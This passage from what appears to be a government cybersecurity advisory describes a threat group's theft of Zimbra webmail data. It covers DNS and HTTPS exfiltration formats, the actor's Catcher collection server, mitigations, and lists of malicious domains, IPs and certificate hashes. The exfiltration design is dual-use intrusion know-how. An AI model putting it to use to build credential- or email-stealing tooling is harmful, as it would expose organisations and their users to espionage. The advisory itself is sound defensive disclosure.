<p>Harvested Autocomplete Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_autocomplete_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>pw </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<h4><strong>HTTPS exfiltration</strong></h4>
<p>Any information exfiltrated via DNS is also exfiltrated through HTTPS, as well as additional data including email content, contacts, attachments, and error logging information. By using Let’s Encrypt certificates, this group can quickly deploy new infrastructure and leverage encrypted HTTPS communications with valid server certificates when exfiltrating information from the victim’s environment. The HTTPS exfiltration capability only uses two HTTP content types, defined in <a href="https://www.cisa.gov/#table4"><strong>Table 4</strong></a>. Traffic associated with HTTPS exfiltration will use the URL scheme shown in <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>.  </p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 4: HTTPS exfiltration types</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p><strong>Content Type </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p><strong>URL Path </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>application/json </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>/v/p </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>application/octet-stream </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>/v/d </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure%207.png?itok=CdTcyMdN" width="1024" height="50" alt="Figure 7: Structure for information exfiltrated by HTTPS">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 7: Structure for information exfiltrated by HTTPS</strong></em></figcaption>
  </figure>
<p>Some of the data transmitted via HTTPS uses the standard JSON content type format. The script includes the information in a POST request to actor-controlled infrastructure.  </p>
<p><a href="https://www.cisa.gov/#table5"><strong>Table 5</strong></a> provides a summary of the JSON-based exfiltration.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 5: HTTPS JSON exfiltration  </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>JSON Key(s) </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Victim’s Email Address </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_email </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>email </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Client Type, Version, and Current URL </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>client, version, full_url </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Newly Created Application Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_app_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>app_password </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Harvested Autocomplete Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_autocomplete_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>autocomplete_password </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>The script transmits all HTTPS exfiltration not identified in <a href="https://www.cisa.gov/#table5"><strong>Table 5</strong></a> using the Octet-Stream content type as binary data. The POST requests for this method include a filename in the “X-Filename” header. Traditionally, developers use headers prefixed with “X-” to denote custom headers that do not follow a defined standard. The purpose of including this header remains unclear since the Catcher capability ignores the provided filename when saving the data. <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> summarizes the data exfiltrated in this format.</p>
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<div class="TableContainer Ltr SCXW189907655 BCX8">
<div class="WACAltTextDescribedBy SCXW189907655 BCX8"><a class="ck-anchor"></a></div>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong> Table 6: HTTPS binary exfiltration</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>X-Filename Header </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetInfoRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetScratchCodesRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_2fa_codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetDeviceStatusRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_device_status </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetOAuthConsumersRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_oauth_consumers </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>Victim Organization’s Global Address List </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_gal </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>telemetry_{1-20}.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>Last 90 Days of Victim’s Emails </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>sendArchives </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>telemetryData_{0-89}.json </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p>The script sends all exfiltrated data identified in <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> to the Catcher service exactly as received from the SOAP request in a JSON payload, except for email exfiltration. For email exfiltration, the script sends it as a GZIP compressed archive [<a href="https://attack.mitre.org/versions/v19/techniques/T1560/" target="_blank">T1560</a>]. Although most of the exfiltration consists of valid JSON, the script still attempts to exfiltrate all information identified in <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> using the application/octet-stream content typing rather than application/json.</p>
<p>At the beginning and end of the collection and exfiltration activity, during the <em>sendStartPing</em> and <em>sendFinishPing </em>stages respectively, the script submits a POST request with a JSON payload to indicate that the script is starting or finishing execution. Throughout execution, the script also logs error events and send the logs using similar JSON payloads. The script sends the JSON in a POST request to the URL documented in <a href="https://www.cisa.gov/#figure2"><strong>Figure 2</strong></a>, using a URL path of “/v/p” and with a “subtype” key that shows which type of action it logged (<em>start, finish, or error</em>).  </p>
<h4><strong>Catcher</strong></h4>
<p><em>Ulej </em>exfiltrates information to Flowerbed to be handled by a service named Catcher. Catcher is a containerized Python application, running in Docker as part of Flowerbed, which is detailed in the <a href="https://www.cisa.gov/#resourcedev1">Resource development</a> section. It receives exfiltrated data and temporarily stores it, enabling its eventual transfer to infrastructure designed for long-term, secure storage.</p>
<p>Catcher acts as an HTTP server over port 8000 and a DNS server on port 53. As described in the <a href="https://www.cisa.gov/#resourcedev1">Resource development</a> section, the Flowerbed project uses an additional Docker container running an Nginx reverse proxy to enable HTTPS support. This reverse proxy uses a certificate generated by Let’s Encrypt and forwards all traffic with an SNI containing “*.i.*” to port 8000 within the Catcher container.</p>
<p>The DNS service can accept A, AAAA, MX, TXT, and CAA queries. For any MX, AAAA, or CAA queries, the server will always provide an empty response. The system only supports TXT records as needed to process Automatic Certificate Management Environment (ACME) requests, which enable the assignment of Let’s Encrypt certificates. If the server receives an A query, Catcher will always respond with the public IP address of the Flowerbed server.  </p>
<p>However, if a query includes a domain formatted as shown in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a> and <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>, the service saves a log file in JSON format to disk containing the following details of the DNS query:</p>
<ul>
<li>Time of query,</li>
<li>Source IP address for query,</li>
<li>Queried domain, and</li>
<li>Type of query.</li>
</ul>
<p>The HTTP server typically responds with OK, except in cases where the path is “pixel.gif” when the response contains a 1x1 gif image with a SHA-256 hash of ef1955ae757c8b966c83248350331bd3a30f658ced11f387f8ebf05ab3368629. Like the DNS service, the HTTP service will only log entries when the domain found in the host header of the request follows the expected formatting as seen in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a> and <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>. As the HTTPS exfiltration uses non-standardized binary and JSON-formatted payloads when exfiltrating to Catcher, Catcher will check the content type of the request. If the content type is set to “application/json”, Catcher encodes the data in Base64 and includes it in the JSON log entry written to disk. If the content type is set to any other value, Catcher leaves the Base64 payload in the JSON log entry blank and saves the payload to a separate file with the same filename as the JSON log entry with a “.bin” file extension. An HTTPS exfiltration event causes Catcher to save a JSON formatted log file to disk containing the following information from the HTTP request:</p>
<ul>
<li>Time,</li>
<li>Source IP address,</li>
<li>Request method,</li>
<li>Host,</li>
<li>Path,</li>
<li>Query string,</li>
<li>Headers, and</li>
<li>Base64 payload.</li>
</ul>
<p>These JSON event log files and binary output files are then initially saved to the directory <em>/root/hits/tmp</em> and later moved to the <em>/root/hits/ready</em> directory once processed. This prevents incomplete files, which are still being uploaded to Catcher, from premature exfiltration from the server. Approximately every 60 seconds, a likely automated workflow establishes a Secure Shell (SSH) connection with the server hosting Flowerbed for a few seconds, almost certainly exfiltrating the data processed by Catcher to non-public-facing infrastructure. The command in <a href="https://www.cisa.gov/#figure8"><strong>Figure 8</strong></a> also executes hourly to remove all files last modified at least two days ago from the <em>/root/hits/ready</em> directory.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure%208-Command%20used%20for%20automated%20directory%20cleanup.png?itok=IqvZvbLK" width="1024" height="92" alt="Figure 8: Command used for automated directory cleanup">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 8: Command used for automated directory cleanup</strong></em></figcaption>
  </figure>
<h2><strong>Response strategies</strong></h2>
<h3><em><strong>Mitigations</strong></em><a class="ck-anchor"></a></h3>
<p>In many cases, by the time an organization identifies a compromise related to this campaign, numerous sensitive and proprietary emails have already been exfiltrated. The significant risk posed by this cyber threat emphasizes the importance for organizations that use ZCS and other similar webmail solutions to take proactive steps to mitigate this risk.</p>
<p>All organizations that use the ZCS webmail service should <strong>immediately prioritize</strong> ensuring that their ZCS is not running a vulnerable version. A patch for <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> was released for both 10.1.13 and 10.0.18 versions of ZCS [<a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening">D3-AH</a>]. If immediate patching is not feasible, organizations should advise employees to use alternative mail clients to access email and avoid using the Classic ZCS webmail client until ZCS is updated to a non-vulnerable version [<a href="https://d3fend.mitre.org/tactic/d3f:Isolate/" target="_blank">d3f:Isolate</a>].</p>
<p>System administrators should closely monitor any Internet-connected ZCS or other email systems and the workstations that access those systems and promptly apply available software updates [<a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening" target="_blank">D3-AH</a>]. Administrators can maintain awareness of active vulnerability exploitation by referencing open source resources, including <a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog">CISA’s Known Exploited Vulnerabilities Catalog</a> and <a href="https://www.ncsc.gov.uk/collection/vulnerability-management/guidance/responding-to-active-exploitation" target="_blank">NCSC-UK’s Responding to active exploitation of vulnerabilities</a> guidance.</p>
<p>Organizations should consider using a third-party authentication service that supports passkeys for authentication to mediate access to ZCS and other services that do not natively support passkeys. By doing so, organizations can work to eliminate the possibility of automated password collection from autocomplete or password reuse [<a href="https://d3fend.mitre.org/technique/d3f:CredentialHardening" target="_blank">D3-CH</a>]. However, Application Passcodes may still be necessary and should be monitored closely.  </p>
<p>Organizations should implement network monitoring capabilities with collection and short-term retention of packet capture or NetFlow data and maintain log collection and storage [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#MaintainLogCollectionStorage3Q">CPG 3.Q</a>]. This will allow organizations to monitor for and identify suspicious network activity [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#IdentifyAdverseEvents4B">CPG 4.B</a>], such as:</p>
<ul>
<li>Significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficAnalysis" target="_blank">D3-NTA</a>];</li>
<li>Frequent DNS queries for a suspicious domain with seemingly random subdomains [<a href="https://d3fend.mitre.org/technique/d3f:DNSTrafficAnalysis" target="_blank">D3-DNSTA</a>];</li>
<li>A sudden spike of connections to a server associated with a recently established domain [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation">D3-NTCD</a>]; and  </li>
<li>Connections to internal services, such as webmail, from VPN providers frequently leveraged by this group for nefarious activity, such as Mullvad VPN [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation">D3-NTCD</a>].</li>
</ul>
<p>Additionally, for organizations that can inspect the content of outbound HTTPS connections via break-and-inspect infrastructure, security teams should identify traffic matching the characteristics described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section of this advisory.</p>
<h3><em><strong>Indicators of compromise (IOCs)</strong></em><a class="ck-anchor"></a></h3>
<h4><strong>Flowerbed infrastructure</strong></h4>
<p>The following indicators have been attributed to use by LAUNDRY BEAR for their campaign targeting ZCS’s webmail service as of the publication of this advisory. (<strong>Disclaimer: </strong>Due to the frequency of operational structure changes by this group, these indicators are intended solely for historic attribution purposes. Some indicators, such as IPs, compromised emails, and domains, may be outdated, so organizations should check for current activity before acting on these IOCs.) <a href="https://www.cisa.gov/#table7"><strong>Table 7</strong></a> provides details about the server infrastructure used to host Flowerbed, and <a href="https://www.cisa.gov/#table8"><strong>Table 8</strong></a> lists the corresponding SHA-1 hash values for the Let’s Encrypt certificates used by that infrastructure [<a href="https://d3fend.mitre.org/technique/d3f:IdentifierActivityAnalysis" target="_blank">D3-IAA</a>].</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 7: Flowerbed server infrastructure</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>Domain </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>IP Address </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>First Seen </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>Last Seen </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>216.252.238[.]104 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>8 July 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>15 October 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbra-metadata[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>216.252.238[.]18 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>20 August 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>14 October 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>analyticemailmeter[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>37.120.247[.]228 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>24 September 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>emailanalytics.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>185.86.79[.]95 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>24 September 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>mailnalysis[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>104.248.134[.]194 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>11 November 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>17 February 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbrastat[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>64.226.124[.]190 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 December 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbrasoft.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>193.238.152[.]66 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>20 January 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>synacorzimbra[.]nl </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>216.252.238[.]64 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>3 February 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>30 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>istc-cloud[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>194.156.103[.]193 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>5 February 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>30 March 2026 </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 8: Flowerbed X.509 certificate SHA-1 hashes  </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>Associated Domain </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>X.509 SHA-1 Hash </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>First Seen </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>Last Seen </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>2e4f314bc9943cab5005d6fde0b271c74d47bc9d </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8 Jul 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>6 Aug 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>50a87d926621dd06389ba50d86e0ff574ed713a8 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>6 Aug 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>13 Oct 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbra-metadata[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>c5a72420e7bb308d078e62128430897f82194c95 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>20 Aug 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>14 Oct 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.analyticemailmeter[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
